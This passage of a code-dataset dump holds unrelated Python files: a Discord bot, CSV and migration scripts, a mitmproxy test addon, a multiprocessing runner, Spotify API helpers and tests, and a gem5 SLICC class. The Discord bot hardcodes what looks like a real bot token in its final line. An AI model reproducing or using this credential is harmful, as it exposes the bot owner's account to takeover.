ping_FR + \"ms de ping vers Google France\", colour=0x3498db)\n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.say(embed=em)\n command_logs(cmd_str, author, message)\n\n@bot.command(pass_context=True)\nasync def frankyonmyserver(ctx):\n cmd_str = \"!frankyonmyserver\"\n message = ctx.message\n author = message.author\n# await bot.say(\"En cours de dévellopement...\")\n command_logs(cmd_str, author, message)\n em = discord.Embed(title='Franky sur votre serveur !', \n description=(\"Pour ajouter Franky a votre serveur, cliquez \"\n \"**[sur ce lien !](https://discordapp.com/oauth2/authorize?client_id=314031841642414080&scope=bot&permissions=8)**\"), colour=0x43b581)\n em.set_footer(text=time.strftime(\"Le %d/%m/%Y à %H:%M:%S\"))\n await bot.say(embed=em)\n\nbot.run('MzE0MDMxODQxNjQyNDE0MDgw.C_yVEQ.W46qusFYjg9-sE2QWzBexfxtvJM')","sub_path":"Franky.py","file_name":"Franky.py","file_ext":"py","file_size_in_byte":16279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"387375415","text":"import csv\nimport json\n\nf =open('Names.csv', 'r')\nreader = csv.reader(f)\ncar = []\nfirstline=True\nfor row in reader:\n if firstline: #First line we will get the header\n firstline=False\n header =[] #Get header of csv file into list########\n for x in row:\n if x : \n header.append(x)\n else:\n break\n continue ###########################################\n \n if not row: #ignore if row empty\n continue\n \n entry = {}\n n = 0\n for field in header:\n entry[field] = row[n]\n n=n+1\n car.append(entry) #append dict into list\n\nprint(header)\nprint(car) #printing list\nwith open('car.json', 'w') as outfile:\n json.dump(car,outfile)","sub_path":"csv_dict_conversion/csv_to_dict.py","file_name":"csv_to_dict.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"241020595","text":"\"\"\"add is_adult_only to topic\n\nRevision ID: 493b84715c67\nRevises: b4364f33391d\nCreate Date: 2018-04-23 17:38:12.708166\n\n\"\"\"\nimport os\n\nfrom alembic import op\nimport sqlalchemy as sa\n\nschema_name = os.getenv('SCHEMA_NAME')\n\n\n# revision identifiers, used by Alembic.\nrevision = '493b84715c67'\ndown_revision = 'b4364f33391d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n with op.batch_alter_table(\"topic\", schema=schema_name) as batch_op:\n batch_op.add_column(\n sa.Column('is_adult_only', sa.Boolean, server_default='False'))\n\n\ndef downgrade():\n with op.batch_alter_table(\"topic\", schema=schema_name) as batch_op:\n batch_op.drop_column('is_adult_only')\n","sub_path":"alembic/versions/493b84715c67_add_is_adult_only_to_topic.py","file_name":"493b84715c67_add_is_adult_only_to_topic.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"421744005","text":"# simu - Robot simulation. {{{\n#\n# Copyright (C) 2009 Nicolas Schodet\n#\n# APBTeam:\n# Web: http://apbteam.org/\n# Email: team AT apbteam DOT org\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n#\n# }}}\n\"\"\"AquaJim bridge.\"\"\"\nfrom simu.inter.drawable import Drawable\nfrom math import pi, cos, sin\n\nfrom simu.view.table_eurobot2009 import puck_attr\n\nclass Bridge (Drawable):\n\n width = 220\n height = 100\n\n def __init__ (self, onto, model):\n Drawable.__init__ (self, onto)\n self.model = model\n self.model.register (self.update)\n\n def draw (self):\n self.reset ()\n self.trans_rotate (0.95 * pi / 2)\n self.draw_line ((-40, -80), (-40, 80), fill = '#808080')\n self.draw_line ((40, -80), (40, 80), fill = '#808080')\n for i in range (2):\n puck = self.model.bridge_slot[i]\n if puck is not None:\n self.draw_circle ((0, 40 - 80 * i), 35,\n **puck_attr[puck.color])\n if self.model.bridge_door_servo_value is not None:\n self.draw_arc ((0, -40), 37.5, start = -3 * pi / 4\n + self.model.bridge_door_servo_value * pi, extent = pi / 2)\n if self.model.bridge_finger_servo_value is not None:\n self.draw_arc ((-40, -50), 50, start = pi / 2, extent = -3 * pi / 4,\n style = 'arc', outline = '#c0c0c0')\n a = pi / 2 - self.model.bridge_finger_servo_value * 3 * pi / 4\n self.draw_line ((-40, -50), (-40 + 50 * cos (a), -50 + 50 * sin (a)))\n\n","sub_path":"host/simu/robots/aquajim/view/bridge.py","file_name":"bridge.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"647778065","text":"# -*- coding: utf-8 -*-\nimport mitmproxy.http\nimport json\n\n\n# # image = sys.argv[1]\n# runlist = [\n# request.HandleRequest().modify_request(),\n# response.HandleResponse().get_response()\n# ]\n\n# def get_response(flow: mitmproxy.http.HTTPFlow):\n# url = 'http://' + flow.request.host + '/kssearch/submit/oralevaluatesearch'\n# if flow.request.url.startswith(url):\n# print(\"================================正确的呀=========================================\")\n#\n# # 读取测试图片\n# # imagepath = open(r\"../util/testimage.txt\", 'rU').readlines()\n# # path = os.path.dirname(os.path.realpath(__file__))\n# # complete_path = os.path.join(path, imagepath)\n# # picname = os.path.basename(complete_path)\n# # file = open(complete_path, 'rb')\n# # files = {'image': (picname, file, \"application/octet-stream\", {\"Content-Transfer-Encoding\": \"8bit\"})}\n# # flow.request.query.update({\"image\": files})\n# # print(\"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\n\" + flow.request.query)\n# # print(\"request\" + imagepath)\n# # print(type(imagepath))\n#\n# # 写入接口返回的图片信息\n# text = flow.response.text\n# data_json = json.loads(text)\n# print(\"脚本\")\n# if data_json.get('data'):\n# imginfo = data_json.get('data').get('imageInfo')\n# with open('.\\\\queryinfo.txt', 'a+') as f:\n# f.truncate()\n# print(\"image\")\n# print(str(imginfo))\n# f.write(str(imginfo) + '\\n')\n# f.close()\n#\n# # 写入接口返回的框选坐标\n# if data_json.get('data').get('questionList'):\n# datas = data_json.get('data').get('questionList')\n# with open('.\\\\coordinate.txt', 'w') as f:\n# f.truncate()\n# for data in datas:\n# exptype = data.get('expType')\n# questionType = data.get('questionType')\n# if ((questionType == 1) and (exptype == 2)) or questionType == 2:\n# print(type(data.get('coordinate')))\n# print(data.get('coordinate'))\n# coordinate = data.get('coordinate')\n# f.write(str(coordinate) + '\\n')\n# f.close()\n#\n# # data = json.dumps(text)\n#\n# # ctx.log.info(str(result))\n# else:\n# print(\"else la else la else la else la else la else la else la else la else la else la else la \")\n\n# 所有发出的请求数据包都会被这个方法所处理\n# 所谓的处理,我们这里只是打印一下一些项;当然可以修改这些项的值直接给这些项赋值即可\n# def request(flow):\n# # 获取请求对象\n# request = flow.request\n# # 实例化输出类\n# info = ctx.log.info\n# # 打印请求的url\n# info(request.url)\n# # 打印请求方法\n# info(request.method)\n# # 打印host头\n# info(request.host)\n# # 打印请求端口\n# info(str(request.port))\n# # 打印所有请求头部\n# info(str(request.headers))\n# # 打印cookie头\n# info(str(request.cookies))\n\n# 所有服务器响应的数据包都会被这个方法处理\n# 所谓的处理,我们这里只是打印一下一些项\n# def response(flow):\n# # 获取响应对象\n# response = flow.response\n# # 实例化输出类\n# info = ctx.log.info\n# # 打印响应码\n# info(str(response.status_code))\n# # 打印所有头部\n# info(str(response.headers))\n# # 打印cookie头部\n# info(str(response.cookies))\n# # 打印响应报文内容\n# info(str(response.text))\n\n\n# 设置上游代理\n# def request(self, flow: mitmproxy.http.HTTPFlow):\n# if flow.request.method == \"CONNECT\":\n# return\n# if flow.live:\n# proxy = ('http://121.228.53.238', '9990')\n# print(flow.request.host)\n# flow.live.change_upstream_proxy_server(proxy)\n# str = 'cmd.exe mitmdump -s ./pyscript.py - p 8080'\n# d = os.system('mitmdump')\n# print(d)\n# mitmproxy.mitmdump(str)\n# os.system('mitmweb -s proxyscript.py -p 8082')\n\ndef response(flow: mitmproxy.http.HTTPFlow):\n url = 'http://' + flow.request.host + '/kssearch/submit/oralevaluatesearch'\n if flow.request.url.startswith(url):\n print(\"正确的呀\")\n text = flow.response.text\n data_json = json.loads(text)\n print(\"脚本\")\n if data_json.get('data'):\n imginfo = data_json.get('data').get('imageInfo')\n with open('.\\\\conf\\\\queryinfo.txt', 'w') as f:\n f.truncate()\n print(\"image\")\n print(str(imginfo))\n f.write(str(imginfo) + '\\n')\n f.close()\n if data_json.get('data').get('questionList'):\n datas = data_json.get('data').get('questionList')\n with open('.\\\\conf\\\\coordinate.txt', 'w') as f:\n f.truncate()\n for data in datas:\n exptype = data.get('expType')\n questionType = data.get('questionType')\n if ((questionType == 1) and (exptype == 2)) or questionType == 2:\n print(type(data.get('coordinate')))\n print(data.get('coordinate'))\n coordinate = data.get('coordinate')\n f.write(str(coordinate) + '\\n')\n f.close()\n\n # data = json.dumps(text)\n\n # ctx.log.info(str(result))\n else:\n print(\"else la else la else la else la else la else la else la else la else la else la else la \")\n","sub_path":"AutoUIks/mitmproxyscript.py","file_name":"mitmproxyscript.py","file_ext":"py","file_size_in_byte":5830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"6677552","text":"import torch.multiprocessing as mp\nimport threading\nimport queue\nimport atexit\nimport bisect\nfrom typing import Callable, Iterable, Any\nfrom easycore.common.config import CfgNode as CN\n\n\nclass BaseRunner:\n \"\"\"\n A Multi-process runner whose consumer receive data in unorder. \n The runner will start multi-processes for producers and 1 thread for consumer.\n \"\"\"\n\n class _Producer(mp.Process):\n def __init__(self,\n input_queue,\n output_queue,\n device,\n cfg,\n init_func,\n work_func,\n end_func):\n super(BaseRunner._Producer, self).__init__()\n self.input_queue = input_queue\n self.output_queue = output_queue\n self.device = device\n self.cfg = cfg.copy()\n self.init_func = init_func\n self.work_func = work_func\n self.end_func = end_func\n\n def run(self):\n raise NotImplementedError(\"This is a base runner without implement.\")\n\n class _StopToken:\n pass\n\n class _Consumer(threading.Thread):\n def __init__(self,\n receive_func,\n input_queue,\n output_queue,\n cfg,\n init_func,\n work_func,\n end_func):\n super(BaseRunner._Consumer, self).__init__(daemon=True)\n self.receive_func = receive_func\n self.input_queue = input_queue\n self.output_queue = output_queue\n self.cfg = cfg.copy()\n self.init_func = init_func\n self.work_func = work_func\n self.end_func = end_func\n\n def run(self):\n raise NotImplementedError(\"This is a base runner without implement.\")\n\n class _InitToken:\n pass\n\n class _EndToken:\n pass \n\n class _StopToken:\n pass\n\n def __init__(self,\n devices,\n cfg = CN(),\n queue_scale = 3.0):\n \"\"\"\n Args:\n devices (int or Iterable): If the `devices` is `int`, it will use devices cpu to do\n the work. If the `devices` is an iterable object, such as list, it will use the\n devices specified by the iterable object, such as [\"cpu\", \"cuda:0\", \"cuda:1\"].\n cfg (easycore.common.config.CfgNode): user custom data.\n queue_scale (float): scale the queues for communication between processes.\n \"\"\"\n # get devices\n if isinstance(devices, int):\n self.devices = [\"cpu\" for _ in range(devices)]\n elif isinstance(devices, Iterable):\n self.devices = devices\n else:\n raise Exception(\"parameter `devices` must be int or Iterable.\")\n\n self.cfg = cfg\n self.queue_scale = queue_scale\n\n self._is_activate = False\n self.activate()\n \n atexit.register(self.close)\n\n @property\n def is_activate(self):\n \"\"\" whether the runner is alive. \"\"\"\n return self._is_activate\n\n @staticmethod\n def producer_init(device, cfg):\n \"\"\" \n function for producer initialization.\n \n Args:\n device (str): device for the this process.\n cfg (easycore.common.config.CfgNode): config of this process, you can use it to transfer data\n to `producer_work` and `producer_end` function.\n \"\"\"\n pass\n\n @staticmethod\n def producer_work(device, cfg, data):\n \"\"\" \n function specify how the producer processes the data.\n \n Args:\n device (str): device for this process.\n cfg (easycore.common.config.CfgNode): config of this process, you can use it to get data from\n `producer_init` function and transfer data to the next `producer_work` and `producer_end`\n function.\n data (Any): data get from input of `__call__` method.\n \n Returns:\n Any: processed data\n \"\"\"\n return data\n\n @staticmethod\n def producer_end(device, cfg):\n \"\"\" \n function after finishing all of its task and before close the process.\n \n Args:\n device (str): device for this process.\n cfg (easycore.common.config.CfgNode): config of this process, you can use it to get data\n from `producer_init` and `producer_work` function.\n \"\"\"\n pass\n\n @staticmethod\n def consumer_init(cfg):\n \"\"\"\n function for consumer initialization.\n \n Args:\n cfg (easycore.common.config.CfgNode): config of this process, you can use it to transfer data\n to `consumer_work` and `consumer_end` function.\n \"\"\"\n pass\n\n @staticmethod\n def consumer_work(cfg, data):\n \"\"\"\n function specify how the consumer processses the data from producers.\n \n Args:\n cfg (easycore.common.config.CfgNode): config of this process, you can use it to get data from\n `consumer_init` function and transfer data to the next `consumer_work` and `consumer_end`\n function.\n \"\"\"\n pass\n\n @staticmethod\n def consumer_end(cfg):\n \"\"\"\n function after receiving all data from producers.\n \n Args:\n cfg (easycore.common.config.CfgNode): config of this process, you can use it get data from\n `consumer_work` function.\n\n Returns:\n Any: processed data\n \"\"\"\n return None\n\n def __call__(self, data_iter):\n \"\"\"\n Args:\n data_iter (Iterable): iterator of data\n \n Returns:\n Any: result\n \"\"\"\n if not self.is_activate:\n raise Exception(\"The runner is closed. Please activate it.\")\n\n # inform the consumer to initialize\n self._put_into_consumer(self._Consumer._InitToken())\n\n # put data to producer\n for data in data_iter:\n self._put_into_producer(data)\n self._put_into_consumer(None) # inform the consumer to process 1 data\n\n # inform the consumer to return result\n self._put_into_consumer(self._Consumer._EndToken())\n\n # get result from consumer\n data = self._get_from_consumer()\n return data\n\n def __del__(self):\n self.close()\n\n def close(self):\n \"\"\"\n Shutdown all processes if this runner is alive.\n \"\"\"\n if self.is_activate:\n self._is_activate = False\n # stop workers\n for _ in self.devices:\n self.producer_input_queue.put(self._Producer._StopToken())\n self.consumer_input_queue.put(self._Consumer._StopToken())\n\n # join workers\n for producer in self.producers:\n producer.join()\n self.consumer.join()\n\n # delete resources\n del self.producer_input_queue\n del self.producer_output_queue\n del self.consumer_input_queue\n del self.consumer_output_queue\n del self.producers\n del self.consumer\n\n\n def activate(self):\n \"\"\"\n Restart all processes if this runner is closed.\n \"\"\"\n if not self.is_activate:\n self._is_activate = True\n # init queues for communication between processes\n self.producer_input_queue = mp.Queue(maxsize = int(len(self.devices) * self.queue_scale))\n self.producer_output_queue = mp.Queue(maxsize = int(len(self.devices) * self.queue_scale))\n self.consumer_input_queue = queue.Queue(maxsize = int(len(self.devices) * self.queue_scale))\n self.consumer_output_queue = queue.Queue(maxsize = 1)\n\n # create workers\n self.producers = []\n for device in self.devices:\n self.producers.append(\n self._Producer(\n self.producer_input_queue,\n self.producer_output_queue,\n device,\n self.cfg,\n self.producer_init,\n self.producer_work,\n self.producer_end))\n self.consumer = self._Consumer(\n self._get_from_producer,\n self.consumer_input_queue,\n self.consumer_output_queue,\n self.cfg,\n self.consumer_init,\n self.consumer_work,\n self.consumer_end)\n\n # start workers\n for producer in self.producers:\n producer.start()\n self.consumer.start()\n\n\n def _put_into_producer(self, data):\n self.producer_input_queue.put(data)\n \n def _get_from_producer(self):\n return self.producer_output_queue.get()\n\n def _put_into_consumer(self, data):\n self.consumer_input_queue.put(data)\n \n def _get_from_consumer(self):\n data = self.consumer_output_queue.get()\n self.consumer_output_queue.task_done()\n return data\n\n\n\nclass UnorderedRunner(BaseRunner):\n \"\"\"\n A Multi-process runner whose consumer receive data in unorder. \n The runner will start multi-processes for producers and 1 thread for consumer.\n \"\"\"\n class _Producer(BaseRunner._Producer):\n def run(self):\n # initialization\n self.init_func(self.device, self.cfg)\n\n while True:\n data = self.input_queue.get()\n if isinstance(data, self._StopToken):\n break\n\n # decode data and do task\n data = self.work_func(self.device, self.cfg, data)\n\n self.output_queue.put(data)\n\n # end\n self.end_func(self.device, self.cfg)\n\n\n class _Consumer(BaseRunner._Consumer):\n def run(self):\n while True:\n data = self.input_queue.get()\n self.input_queue.task_done()\n if isinstance(data, self._StopToken):\n break\n elif isinstance(data, self._InitToken):\n # initialization\n cfg = self.cfg.copy()\n self.init_func(cfg)\n elif isinstance(data, self._EndToken):\n # end\n data = self.end_func(cfg)\n self.output_queue.put(data)\n del cfg\n else:\n # work\n data = self.receive_func()\n self.work_func(cfg, data)\n\n\n def __init__(self,\n devices,\n cfg = CN(),\n queue_scale = 3.0):\n \"\"\"\n Args:\n devices (int or Iterable): If the `devices` is `int`, it will use devices cpu to do\n the work. If the `devices` is an iterable object, such as list, it will use the\n devices specified by the iterable object, such as [\"cpu\", \"cuda:0\", \"cuda:1\"].\n cfg (easycore.common.config.CfgNode): user custom data.\n queue_scale (float): scale the queues for communication between processes.\n \"\"\"\n super(UnorderedRunner, self).__init__(devices, cfg=cfg, queue_scale=queue_scale)\n\n\n\nclass OrderedRunner(BaseRunner):\n \"\"\" \n A Multi-process runner whose consumer receive data in order. \n The runner will start multi-processes for producers and 1 thread for consumer.\n \"\"\"\n class _Producer(BaseRunner._Producer):\n def run(self):\n # initialization\n self.init_func(self.device, self.cfg)\n\n while True:\n data = self.input_queue.get()\n if isinstance(data, self._StopToken):\n break\n\n # decode data and do task\n id, data = data\n data = self.work_func(self.device, self.cfg, data)\n\n self.output_queue.put((id, data))\n\n # end\n self.end_func(self.device, self.cfg)\n\n\n class _Consumer(BaseRunner._Consumer):\n def run(self):\n while True:\n data = self.input_queue.get()\n self.input_queue.task_done()\n if isinstance(data, self._StopToken):\n break\n elif isinstance(data, self._InitToken):\n # initialization\n cfg = self.cfg.copy()\n self.init_func(cfg)\n elif isinstance(data, self._EndToken):\n # end\n data = self.end_func(cfg)\n self.output_queue.put(data)\n del cfg\n else:\n data = self.receive_func()\n self.work_func(cfg, data)\n\n def __init__(self,\n devices,\n cfg = CN(),\n queue_scale = 3.0):\n \"\"\"\n Args:\n devices (int or Iterable): If the `devices` is `int`, it will use devices cpu to do\n the work. If the `devices` is an iterable object, such as list, it will use the\n devices specified by the iterable object, such as [\"cpu\", \"cuda:0\", \"cuda:1\"].\n cfg (easycore.common.config.CfgNode): user custom data.\n queue_scale (float): scale the queues for communication between processes.\n \"\"\"\n super(OrderedRunner, self).__init__(devices, cfg=cfg, queue_scale=queue_scale)\n\n\n def close(self):\n \"\"\"\n Shutdown all processes if this runner is alive.\n \"\"\"\n if self.is_activate:\n del self._put_id, self._get_id\n del self._id_buffer, self._data_buffer\n\n super(OrderedRunner, self).close()\n\n def activate(self):\n \"\"\"\n Restart all processes if this runner is closed.\n \"\"\"\n if not self.is_activate:\n self._put_id = 0\n self._get_id = 0\n self._id_buffer = []\n self._data_buffer = []\n\n super(OrderedRunner, self).activate()\n\n def _put_into_producer(self, data):\n id = self._put_id\n self._put_id += 1\n self.producer_input_queue.put((id, data))\n \n def _get_from_producer(self):\n if len(self._id_buffer) and self._id_buffer[0] == self._get_id:\n data = self._data_buffer[0]\n del self._id_buffer[0], self._data_buffer[0]\n self._get_id += 1\n return data\n\n while True:\n id, data = self.producer_output_queue.get()\n if id == self._get_id:\n self._get_id += 1\n return data\n insert_position = bisect.bisect(self._id_buffer, id)\n self._id_buffer.insert(insert_position, id)\n self._data_buffer.insert(insert_position, data)\n\n","sub_path":"easycore/torch/parallel/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":14997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"538198351","text":"# -*- coding: utf-8 -*-\n'''\nTesting file\n'''\n\n\n\nFIND_SETTINGS = {\n 'findWiFi': True,\n 'findWiFiNe': True,\n 'findWiFiPar': True,\n 'findWiFiHu': False,\n 'findWiFiWe': False,\n 'findBACnet': False,\n 'findModbus': False,\n 'findAcquiSuite': False,\n 'findWiFiNet': False,\n 'findSmartThings': False,\n 'findProteus': False,\n 'findWiFiIC': True,\n 'findWiFiHo': True,\n 'findZigBee': True\n\t\n}\n\nDUMMY_SETTINGS = {\n 'dummy_discovery': False,\n 'number_of_hvac': 30,\n 'number_of_lighting': 0,\n 'number_of_plugload': 0,\n 'number_of_sensor': 0,\n 'number_of_powermeter': 0\n}","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"551081181","text":"from requests.api import get\n\nfrom .models import SpotifyToken\nfrom django.utils import timezone\nfrom datetime import timedelta\nfrom .credentials import CLIENT_ID,CLIENT_SECRET\nfrom requests import post\n\nBASE_URL = \"https://api.spotify.com/v1/me/\"\n\n\ndef getToken(session_id): \n token= SpotifyToken.objects.filter(user=session_id)\n if token:\n return token[0]\n else:\n return None\ndef isSpotifyAuth(session_id): \n token= getToken(session_id)\n if token: \n if token.expires_in <= timezone.now():\n refreshToken(session_id=session_id) \n return True\n return False\n\ndef update_or_create_user_tokens(session_id, access_token, token_type, expires_in, refresh_token):\n tokens=getToken(session_id)\n expires_in = timezone.now() + timedelta(seconds=expires_in)\n\n if tokens:\n tokens.access_token = access_token\n tokens.refresh_token = refresh_token\n tokens.expires_in = expires_in\n tokens.token_type = token_type\n tokens.save(update_fields=['access_token',\n 'refresh_token', 'expires_in', 'token_type'])\n else:\n tokens = SpotifyToken.objects.create(user=session_id, access_token=access_token,\n refresh_token=refresh_token, token_type=token_type, expires_in=expires_in)\n\n\n \n\n\ndef refreshToken(session_id):\n refresh_token=getToken(session_id).refresh_token\n response=post('https://accounts.spotify.com/api/token',data={\n 'grant_type': 'refresh_token',\n 'refresh_token': refresh_token,\n 'client_id': CLIENT_ID,\n 'client_secret': CLIENT_SECRET\n }).json()\n access_token = response.get('access_token')\n token_type = response.get('token_type')\n expires_in = response.get('expires_in')\n refresh_token = response.get('refresh_token')\n update_or_create_user_tokens(access_token=access_token,token_type=token_type,expires_in=expires_in,refresh_token=refresh_token)\n\ndef send_spotify_api_request(host,endpoint):\n tokens=getToken(host)\n headers = {'Content-Type': 'application/json',\n 'Authorization': \"Bearer \" + tokens.access_token}\n\n response=get(BASE_URL+endpoint,{}, headers=headers)\n try:\n return response.json()\n except:\n return {'Error':'Issue with request'}\n\n\n ","sub_path":"spotify/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"625174507","text":"from flask import Blueprint, render_template, session,\\\n request, g, url_for, redirect\n#from database_func import Item, HTMLText, get_lang, T_SearchHint, T_ItemAttrValue\nimport database_func as db\n#from blueprints import category as bp_category, user as bp_user, item as bp_item\nimport blueprints as bp\nfrom blueprints import user as bp_user\n\nblueprint = Blueprint('home', __name__)\n\ndef inject_this_context():\n t = bp.user.get_base_html_texts()\n t.update(bp.user.get_html_text('search_default', 'valid_start', 'valid_end', 'valid_period', 'yuan'))\n \n return dict(html_texts = t)\n \n#blueprint.context_processor(inject_this_context)\n\n#from memory_profiler import profile, memory_usage\n#import io\n#fp=io.open('/vagrant/memory_profiler.log','w')\n#from memory_profiler import LogFile\n#import sys\n#sys.stdout = LogFile('memory_profile_log')\n#@profile(stream=fp, precision=6)\n@blueprint.route('/')\n#@bp_user.url_language_argument()\ndef home():\n # print('request.path')\n # print(request.path)\n # print(request.referrer)\n # print(session)\n # print(request.url_root)\n \n #this_user = db.User.get_by_uuid('7113c00e468a4ec38d532d522c216ec4')\n #source_user = db.User.get_by_uuid('7876fcbd16bc41249efe738d6d0bd5fb')\n \n #if this_user is not None and source_user is not None:\n # for i in source_user.identities:\n # i.uuid = this_user.uuid\n # i.merge()\n \n category_id = request.args.get('c', None)\n \n categories = []\n # categories = bp.category.get_categories_for_display(p_category_id = category_id)\n items = []\n # items = db.Item.get_by_category(lang = g.l, category_id = category_id)\n search_hints = []\n # search_hints = db.T_SearchHint.get_all_available()\n attr_values = {}\n # attr_values = db.ItemAttrValue.get_by_items(items, g.l)\n \n #print request.user_agent\n return render_template('home.html', title = '',\\\n categories = categories,\\\n items = [i.serialize for i in items],\\\n search_hints = [ h.serialize for h in search_hints ],\\\n attr_values = attr_values\n )\n \n@blueprint.route('/favicon.ico')\ndef favicon():\n return redirect(url_for('static', filename='favicon.ico'))\n","sub_path":"flask/blueprints/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"393381303","text":"from unittest import SkipTest\nfrom tests._cred import TestCaseWithUserCredentials\nfrom ._resources import playlist_id, artist_ids, user_ids\n\n\nclass TestSpotifyFollow(TestCaseWithUserCredentials):\n \"\"\"\n If current user follows the tested playlist, it is set as a private follow.\n \"\"\"\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n try:\n cls.current_playlist_follow = cls.client.playlist_is_following(\n playlist_id,\n [cls.current_user_id]\n )[0]\n cls.current_artist_follows = cls.client.artists_is_following(\n artist_ids\n )\n cls.current_user_follows = cls.client.users_is_following(\n user_ids\n )\n except Exception as e:\n raise SkipTest('State before tests could not be determined!') from e\n\n def test_playlist_follow(self):\n self.client.playlist_follow(playlist_id)\n\n def test_playlist_unfollow(self):\n self.client.playlist_unfollow(playlist_id)\n\n def test_followed_artists(self):\n self.client.followed_artists()\n\n def test_artists_follow(self):\n self.client.artists_follow(artist_ids)\n\n def test_artists_unfollow(self):\n self.client.artists_unfollow(artist_ids)\n\n def test_users_follow(self):\n self.client.users_follow(user_ids)\n\n def test_users_unfollow(self):\n self.client.users_unfollow(user_ids)\n\n @classmethod\n def tearDownClass(cls):\n if cls.current_playlist_follow:\n cls.client.playlist_follow(playlist_id, public=False)\n else:\n cls.client.playlist_unfollow(playlist_id)\n\n artist_follows = [\n a for i, a in enumerate(artist_ids)\n if cls.current_artist_follows[i]\n ]\n if artist_follows:\n cls.client.artists_follow(artist_follows)\n\n artist_unfollows = [\n a for i, a in enumerate(artist_ids)\n if not cls.current_artist_follows[i]\n ]\n if artist_unfollows:\n cls.client.artists_unfollow(artist_unfollows)\n\n user_follows = [\n u for i, u in enumerate(user_ids)\n if cls.current_user_follows[i]\n ]\n if user_follows:\n cls.client.users_follow(user_follows)\n\n user_unfollows = [\n u for i, u in enumerate(user_ids)\n if not cls.current_user_follows[i]\n ]\n if user_unfollows:\n cls.client.users_unfollow(user_unfollows)\n","sub_path":"tests/client/follow.py","file_name":"follow.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"273153781","text":"#\n# Copyright (c) 2017 Advanced Micro Devices, Inc.\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived from this\n# software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n\nfrom slicc.ast.StatementAST import StatementAST\nfrom slicc.symbols import Var\n\n\nclass DeferEnqueueingStatementAST(StatementAST):\n def __init__(self, slicc, queue_name, type_ast, statements):\n super().__init__(slicc)\n\n self.queue_name = queue_name\n self.type_ast = type_ast\n self.statements = statements\n\n def __repr__(self):\n return \"[DeferEnqueueingStatementAst: %s %s %s]\" % (\n self.queue_name,\n self.type_ast.ident,\n self.statements,\n )\n\n def generate(self, code, return_type, **kwargs):\n code(\"{\")\n code.indent()\n self.symtab.pushFrame()\n\n msg_type = self.type_ast.type\n\n # Add new local var to symbol table\n v = Var(\n self.symtab,\n \"out_msg\",\n self.location,\n msg_type,\n \"*out_msg\",\n self.pairs,\n )\n self.symtab.newSymbol(v)\n\n # Declare message\n code(\n \"std::shared_ptr<${{msg_type.c_ident}}> out_msg = \"\n \"std::make_shared<${{msg_type.c_ident}}>(clockEdge());\"\n )\n\n # The other statements\n t = self.statements.generate(code, None)\n self.queue_name.assertType(\"OutPort\")\n\n code(\n \"(${{self.queue_name.var.code}}).deferEnqueueingMessage(addr, \"\n \"out_msg);\"\n )\n\n # End scope\n self.symtab.popFrame()\n code.dedent()\n code(\"}\")\n\n def findResources(self, resources):\n var = self.queue_name.var\n res_count = int(resources.get(var, 0))\n resources[var] = str(res_count + 